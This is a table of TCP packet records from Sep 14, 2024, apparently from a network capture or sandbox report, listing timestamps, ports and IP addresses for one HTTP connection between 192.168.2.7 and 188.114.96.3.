Sep 14, 2024 18:44:32.793812990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793824911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793837070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793848991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793848991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793860912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793870926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793883085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793955088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793968916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793981075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793992996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793998957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794017076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794147015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794162035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794173002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794184923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794195890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794197083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794210911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794222116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794223070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794234037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794238091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794250965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794260025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794262886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794275999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794287920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794294119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794301987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794312954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794344902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794353008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794364929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794377089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794401884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794578075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794589996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794600964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794611931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794616938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794624090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794635057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794636965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794650078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794657946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794661999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794675112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794686079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794687033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794698954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794711113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794718981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794723034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794735909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.794742107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.794748068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.841727972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.841759920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.841782093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.841815948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.841861010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.841867924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.841905117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.841938019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.841945887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.841973066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.842006922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.842015982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.878731012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.878762960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.878803015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.878814936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.878849983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.878861904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.878902912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.878940105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.878948927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.878993034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879034042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879045963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879098892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879142046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879165888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879199028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879235029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879240990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879268885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879303932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879316092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879337072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879369974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879380941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879422903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879460096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879465103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879492998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879527092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879534960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879563093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879595995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879606962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879631042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879663944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879673958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879697084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879738092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879765987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879798889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879831076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879838943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879882097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879915953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879923105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.879949093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879981995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.879988909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880014896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880057096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880067110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880100012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880132914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880141020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880183935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880220890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880223989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880269051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880302906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880320072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880353928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880387068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880395889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880439043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880475998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880482912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880511045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880544901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880557060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880584955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880619049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880626917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880652905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880687952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880702019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880737066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880770922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880779028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880805016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880839109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880848885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880892992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880925894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.880940914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.880960941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881002903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881012917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881042004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881084919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881091118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881124973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881156921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881165028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881196022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881232023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881237030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881266117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881299973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881309032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881375074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881407976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881417990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881442070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881474018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881484032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881526947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881560087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881570101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881612062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881644964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881654978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881678104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881710052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881725073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881746054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881779909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881793022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881813049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881845951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881879091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881911039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881926060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881926060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.881943941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881977081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.881993055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882009983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882042885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882072926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882076025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882111073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882123947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882144928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882179022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882211924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882239103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882241011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882260084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882275105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882309914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882322073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882344961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882376909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882394075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882406950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882441044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882467985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882473946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882508039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882520914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882541895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882575989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882608891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882632971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882641077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882672071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882675886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882709980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882729053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882742882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882776976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882807016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.882810116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882843971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.882864952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.924057961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.931664944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931731939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931767941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931792974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.931801081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931837082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931849003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.931870937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931905985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931912899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.931941986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.931993008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.965704918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.965800047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.965852976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.965857029 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.965890884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.965939999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.965945005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.965981007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966015100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966025114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966048956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966084003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966099024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966118097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966154099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966170073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966187954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966224909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966249943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966263056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966299057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966308117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966334105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966368914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966382027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966402054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966444016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966445923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966479063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966512918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966526031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966548920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966593981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966600895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966634035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966665983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966677904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966725111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966772079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966774940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966816902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966864109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966866970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966902018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966929913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.966947079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.966979980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967014074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967026949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967046976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967080116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967092037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967114925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967154980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967159033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967189074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967223883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967236042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967256069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967289925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967302084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967324972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967359066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967370033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967432976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967467070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967480898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967499971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967533112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967541933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967562914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967597008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967611074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.967632055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967665911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.967677116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:33.017787933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.050148010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.055300951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.171420097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.171969891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.177866936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286669970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286722898 CEST	80	54891	188.114.96.3	192.168.2.7
